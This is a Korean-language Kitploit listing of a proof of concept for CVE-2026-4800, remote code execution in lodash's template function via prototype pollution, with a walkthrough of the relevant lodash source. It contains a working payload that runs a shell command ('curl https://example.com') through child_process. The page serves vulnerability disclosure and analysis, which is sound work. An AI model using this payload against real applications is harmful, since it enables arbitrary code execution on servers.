Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-4800-POC — 개념 증명(PoC)으로, 프로토타입 오염을 통한 lodash 템플릿의 원격 코드 실행을 시연하며, 공격 흐름과 악용 기법에 대한 상세 분석을 포함합니다. | Kitploit
도구/GitHubGitHub/threalwinky/cve-2026-4800-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPayload Development
GitHubthrealwinky/cve-2026-4800-poc

CVE-2026-4800-POC

개념 증명(PoC)으로, 프로토타입 오염을 통한 lodash 템플릿의 원격 코드 실행을 시연하며, 공격 흐름과 악용 기법에 대한 상세 분석을 포함합니다.

저장소 보기
24개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-4800-POC

보안 권고

https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc

POC

root@kitploit:~
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

alt text

흐름

  • 기존 프로토타입 오염 취약점을 사용하여 공격자가 제어하는 속성으로 Object.prototype.imports를 오염시킵니다.

  • 다음으로, 일반적인 일반 객체 옵션 값으로 _.template('', {})를 호출합니다.

  • _.template() 내부에서 lodash는 에서 로 를 복사합니다.

lodash.js:14877
assignInWith({}, options, settings, ...)
options
root@kitploit:~
function template(string, options, guard) {
      // Based on John Resig's `tmpl` implementation
      // (http://ejohn.org/blog/javascript-micro-templating/)
      // and Laura Doktorova's doT.js (https://github.com/olado/doT).
      var settings = lodash.templateSettings;

      if (guard && isIterateeCall(string, options, guard)) {
        options = undefined;
      }
      string = toString(string);
      options = assignInWith({}, options, settings, customDefaultsAssignIn);


...
  • assignInWith는 lodash.js:12778에서 keysIn(source)를 사용합니다.
root@kitploit:~
    var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
      copyObject(source, keysIn(source), object, customizer);
    });

  • keysIn()은 lodash.js:13440에서 상속된 열거 가능한 속성을 포함합니다.
root@kitploit:~
    function keysIn(object) {
      return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
    }

  • options 객체는 일반적인 {}이므로 Object.prototype에서 오염된 imports 속성을 상속하며, lodash는 해당 상속된 값을 로컬 options.imports로 복사합니다.

  • 그런 다음 lodash는 lodash.js:14889에서 assignInWith({}, options.imports, settings.imports, ...)로 imports를 구성하고, lodash.js:14889에서 importsKeys를 추출한 후, lodash.js:14957에서 Function(importsKeys, ...)에 전달합니다.

root@kitploit:~
...

      // Cleanup code by stripping empty strings.
      source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
        .replace(reEmptyStringMiddle, '$1')
        .replace(reEmptyStringTrailing, '$1;');

      // Frame code as the function body.
      source = 'function(' + (variable || 'obj') + ') {\n' +
        (variable
          ? ''
          : 'obj || (obj = {});\n'
        ) +
        "var __t, __p = ''" +
        (isEscaping
           ? ', __e = _.escape'
           : ''
        ) +
        (isEvaluating
          ? ', __j = Array.prototype.join;\n' +
            "function print() { __p += __j.call(arguments, '') }\n"
          : ';\n'
        ) +
        source +
        'return __p\n}';

      var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });

...
  • 제가 오염시킨 키는 기본 표현식이 있는 형식 매개변수로 처리됩니다:

    root@kitploit:~
    x=process.getBuiltinModule("child_process").execSync("curl https://example.com")
    
도구 다운로드